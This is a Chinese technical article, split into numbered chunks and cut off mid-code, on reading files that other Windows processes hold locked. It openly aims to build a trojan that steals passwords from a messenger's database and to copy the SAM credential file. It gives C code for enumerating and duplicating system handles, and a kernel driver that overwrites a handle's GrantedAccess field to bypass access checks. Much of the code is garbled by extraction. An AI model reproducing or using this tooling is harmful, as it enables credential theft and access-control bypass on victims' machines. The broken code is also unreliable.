1、无疑我们中的很多人都会遇到需要读写被其它进程占用的文件的情况,比如说在编写backup 程序或是 trojan 的时候。能从系统中抽出 SAM 文件,或是读取其它某些用标准方法无法成功访问的文件显然是件不错的事情。比如说当用标志 dwShareMode = 0 打开文件时,其它进程就不能对它进行访问了。一个很好的例子就是网络寻呼机程序 Miranda。这个程序在自己工作的时候不允许别人打开自己的数据库。假设我们需要写一个这样的木马,它在感染机器后从数据库中窃走密码,然后删除自身,这个时候就需要解决这个问题。所以我决定写下这篇文章。文章篇幅不大,但里面的内容可能会对某些人有益。那我们就开始吧。寻
2、找打开文件的句柄如果文件由某个进程打开,那么这个进程就拥有了它的句柄。在我第二篇关于 API 拦截的文章里我讲解了如何搜索需要的句柄并用它打开进程,要访问已打开的文件,我们也可以使用这种方法。我们需要使用 ZwQuerySystemInformation 函数来枚举句柄,将每一个句柄都用 DuplicateHandle 进行复制,确定句柄属于那个文件(ZwQueryInformationFile ) ,如果是要找的文件,就将句柄拷贝。这些在理论上都讲得通,但在实践中会遇到两处难点。第一,在对打开的 named pipe(工作于 block mode)的句柄调用 ZwQueryInformati
3、onFile 的时候,调用线程会等待 pipe 中的消息,而 pipe 中却可能没有消息,也就是说,调用 ZwQueryInformationFile 的线程实际上永久性地挂起了。所以命名文件的获取不用在挑选句柄的主线程中进行,可以启动独立的线程并设置一个 timeout 值来避免挂起。第二,在拷贝句柄后,两个句柄(我们进程的和打开文件进程的)将会指向同一个 FileObject,从而当前的输入输出模式、在文件中的位置以及其它与文件相关的信息就会由两个进程来共享。这时,甚至只是读取文件都会引起读取位置的改变,从而破坏了打开文件程序的正常运行。为了避免这种情形,我们需要需要停止占用文件进程的线程
4、、保存当前位置、拷贝文件、恢复当前位置以及重新启动占用文件的进程。这种方法不能用于许多情形,比如要在运行的系统中拷贝注册表文件,用这种方法就不会成功。我们先来试着实现对系统中所有已打开文件的句柄的枚举。为枚举句柄,每个句柄都由以下结构体描述:typedef struct _SYSTEM_HANDLEULONG uIdProcess;UCHAR ObjectType;UCHAR Flags;USHORT Handle;POBJECT pObject;ACCESS_MASK GrantedAccess; SYSTEM_HANDLE, *PSYSTEM_HANDLE;这里的 ObjectType 域
5、定义了句柄所属的对象类型。这里我们又遇到了问题 File 类型的ObjectType 在 Windows 2000、XP 和 2003 下的取值各不相同,所以我们不得不动态的定义这个值。为此我们用 CreateFile 来打开 NUL 设备,找到它的句柄并记下它的类型:UCHAR GetFileHandleType()HANDLE hFile;PSYSTEM_HANDLE_INFORMATION Info;ULONG r;UCHAR Result = 0;hFile = CreateFile(“NUL“, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
6、if (hFile != INVALID_HANDLE_VALUE)Info = GetInfoTable(SystemHandleInformation);if (Info)for (r = 0; r uCount; r+)if (Info-aSHr.Handle = (USHORT)hFile break;HeapFree(hHeap, 0, Info);CloseHandle(hFile);return Result;现在知道了句柄的类型我们就可以枚举系统中打开的文件了。首先我们来用句柄获取打开文件的文件名:typedef struct _NM_INFOHANDLE hFile;FILE
7、_NAME_INFORMATION Info;WCHAR NameMAX_PATH; NM_INFO, *PNM_INFO;DWORD WINAPIGetFileNameThread(PVOID lpParameter)PNM_INFO NmInfo = lpParameter;IO_STATUS_BLOCK IoStatus;int r;NtQueryInformationFile(NmInfo-hFile, return 0;void GetFileName(HANDLE hFile, PCHAR TheName)HANDLE hThread;PNM_INFO Info = HeapAll
8、oc(hHeap, 0, sizeof(NM_INFO);Info-hFile = hFile;hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);if (WaitForSingleObject(hThread, INFINITE) = WAIT_TIMEOUT) TerminateThread(hThread, 0);CloseHandle(hThread);memset(TheName, 0, MAX_PATH);WideCharToMultiByte(CP_ACP, 0, Info-Info.FileName
9、, Info-Info.FileNameLength 1, TheName, MAX_PATH, NULL, NULL);HeapFree(hHeap, 0, Info);现在来枚举打开的文件:void main()PSYSTEM_HANDLE_INFORMATION Info;ULONG r;CHAR NameMAX_PATH;HANDLE hProcess, hFile;hHeap = GetProcessHeap();ObFileType = GetFileHandleType();Info = GetInfoTable(SystemHandleInformation);if (Info
10、)for (r = 0; r uCount; r+)if (Info-aSHr.ObjectType = ObFileType)hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info-aSHr.uIdProcess);if (hProcess)if (DuplicateHandle(hProcess, (HANDLE)Info-aSHr.Handle,GetCurrentProcess(), printf(“%sn“, Name);CloseHandle(hFile);CloseHandle(hProcess); HeapFree(hHea
11、p, 0, Info);现在对于文件的拷贝我们剩下的工作只是找到所需句柄后用 ReadFile 读取它。这里一定要使用前面提到的机制,不可疏忽。这种方法的优点是实现简单,但是其缺点更多,所以这个方法只适用于确定文件被那个进程占用。修改句柄访问权限所有被占用的文件通常都可以用读属性(FILE_READ_ATTRIBUTES)打开,这样就可以读取文件的属性,取得它的大小,枚举 NTSF stream,但遗憾的是,ReadFile 就不能成功调用了。打开文件时各种访问属性的区别在哪里呢?显然,打开文件时,系统会记录访问属性,之后会用这个属性与请求的访问作比较。如果找到了系统保存这个属性的位置并修该掉
12、它,那就不只可以读取,甚至可以写入任何已打开的文件。在用户这一级别上我们并不是直接与文件打交道,而是通过它的句柄(这个句柄指向FileObject) ,而函数 ReadFile/WriteFile 调用 ObReferenceObjectByHandle,并指明了相应的访问类型。由此我们可以得出结论,访问权限保存在描述句柄的结构体里。实际上,HANDLE_TABLE_ENTRY 结构体包含有一个 GrantedAccess 域,这个域不是别的,就是句柄的访问权限。遗憾的是,Microsoft 的程序员们没有提供修改句柄访问权的 API,所以我们不得不编写驱动自己来做这项工作。我在隐藏进程检测一
13、文中讲到过 Windows 2000 和 XP 的句柄表结构体,我想补充的只有一点,就是 Windows 2003 中的句柄表与 XP 的完全一样。与那篇文章不同,我们这里不需要枚举表中的句柄,而只需要找到某个具体的(已知的)句柄,我们不用管 PspCidTable,而只操作自己进程的句柄表,表的指针位于进程的 EPROCESS 结构体里(2000 下的偏移为 0x128,XP 下的为 0x0C4) 。为了取得句柄结构体指针需要调用未导出函数 ExpLookupHandleTableEntry,但我们不会去搜索它,因为在导出函数中没有对它的直接引用,搜索结果也很不可靠,除此之外我们此时还需要
14、ExUnlockHandleTableEntry 函数。最好的办法就是编写自己的句柄表 lookup函数。考虑到 Windows 2000 与 XP 下句柄表的差异,我们将编写不同的函数。首先是 Windows 2000 下的:PHANDLE_TABLE_ENTRYWin2kLookupHandleTableEntry(IN PWIN2K_HANDLE_TABLE HandleTable,IN EXHANDLE Handle)ULONG i, j, k;i = (Handle.Index 16) j = (Handle.Index 8) k = (Handle.Index) if (Handl
15、eTable-Tablei)if (HandleTable-Tableij)return return NULL; 这段代码简单易懂。因为句柄的值本身是个三维表的三个索引,所以我们只需其中的各个部分并查看表中相应的元素(当然如果存在的话) 。因为 Windows XP 中的句柄表可以有一到三个级别,所以相应的 lookup 代码就要更为复杂一些:PHANDLE_TABLE_ENTRYXpLookupHandleTableEntry(IN PXP_HANDLE_TABLE HandleTable,IN EXHANDLE Handle)ULONG i, j, k;PHANDLE_TABLE_ENT
16、RY Entry = NULL;ULONG TableCode = HandleTable-TableCode i = (Handle.Index 17) j = (Handle.Index 9) k = (Handle.Index) switch (HandleTable-TableCode break;case 1 :if (PVOID *)TableCode)j)Entry = break;case 2 :if (PVOID *)TableCode)i)if (PVOID *)TableCode)ij)Entry = break;return Entry;我们看到,这段代码中的句柄并不是
17、 ULONG 型的值,而是 EXHANDLE 结构体:typedef struct _EXHANDLEunionstructULONG TagBits : 02;ULONG Index : 30;HANDLE GenericHandleOverlay; EXHANDLE, *PEXHANDLE;我们看到,句柄不知包含了表的索引,还包含了一个 2 bit 的标志。您可能已经察觉到,一个句柄可以有着几种不同的意义,这一点与这样一个事实有关,那就是并非句柄中所有的位都被使用到(依赖于在表中的级别) 。这是 Windows XP 最具个性的特点。现在我们就可以获取句柄表中所需的元素了,该编写为句柄设置
18、所需访问属性的函数了:BOOLEAN SetHandleAccess(IN HANDLE Handle,IN ACCESS_MASK GrantedAccess)PHANDLE_TABLE ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);PHANDLE_TABLE_ENTRY Entry;EXHANDLE ExHandle;ExHandle.GenericHandleOverlay = Handle;Entry = ExLookupHandleTableEntry(ObjectT
19、able, ExHandle);if (Entry) Entry-GrantedAccess = GrantedAccess;return Entry 0;现在编写驱动,设置句柄的访问属性,通过 DeviceIoControl 向驱动传递句柄。代码如下:NTSTATUS DriverIoControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)PIO_STACK_LOCATION pisl = IoGetCurrentIrpStackLocation(Irp);NTSTATUS status = STATUS_UNSUCCESSFUL;ULONG B
20、uffSize = pisl-Parameters.DeviceIoControl.InputBufferLength;PUCHAR pBuff = Irp-AssociatedIrp.SystemBuffer;HANDLE Handle;ACCESS_MASK GrantedAccess;Irp-IoStatus.Information = 0;switch(pisl-Parameters.DeviceIoControl.IoControlCode)case IOCTL1:if (pBuff GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HAN
21、DLE);if (Handle != (HANDLE)-1 break; Irp-IoStatus.Status = status;IoCompleteRequest(Irp, IO_NO_INCREMENT);return status;NTSTATUS DriverCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)Irp-IoStatus.Information = 0;Irp-IoStatus.Status = STATUS_SUCCESS;IoCompleteRequest(Irp, IO_NO_INCREMENT);retu
22、rn STATUS_SUCCESS;NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)PCWSTR dDeviceName = L“Devicefread“;PCWSTR dSymbolicLinkName = L“DosDevicesfread“;NTSTATUS status;PDRIVER_DISPATCH *ppdd;RtlInitUnicodeString(RtlInitUnicodeString(switch (*NtBuildNumber)case 2600:Ob
23、jectTableOffset = 0x0C4;ExLookupHandleTableEntry = XpLookupHandleTableEntry;break;case 2195:ObjectTableOffset = 0x128;ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;break;default: return STATUS_UNSUCCESSFUL;status = IoCreateDevice(DriverObject,0,if (NT_SUCCESS(status)status = IoCreateSymboli
24、cLink(if (!NT_SUCCESS(status) IoDeleteDevice(deviceObject);DriverObject-DriverUnload = DriverUnload;ppdd = DriverObject-MajorFunction;ppdd IRP_MJ_CREATE =ppdd IRP_MJ_CLOSE = DriverCreateClose;ppdd IRP_MJ_DEVICE_CONTROL = DriverIoControl;return status;遗憾的是句柄结构体中的 GrantedAccess 域并没有和文件打开的属性(GENERIC_RE
25、AD、GENERIC_WRITE 等)对应起来,所以在设置新的属性时我们需要以下 constants:#define AC_GENERIC_READ 0x120089#define AC_GENERIC_WRITE 0x120196#define AC_DELETE 0x110080#define AC_READ_CONTROL 0x120080#define AC_WRITE_DAC 0x140080#define AC_WRITE_OWNER 0x180080#define AC_GENERIC_ALL 0x1f01ff#define AC_STANDARD_RIGHTS_ALL 0x1f0080为了使用这个驱动将 SAM 文件拷贝到 c 盘根目录,我们可以写一个最简单的程序:i nclude i nclude “hchange.h“BOOLEAN SetHandleAccess(HANDLE Handle, ACCESS_MASK GrantedAccess)HANDLE hDriver;ULONG Bytes;ULONG Buff2;BOOLEAN Result = FALSE;hDriver = CreateFile(“.haccess“, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0,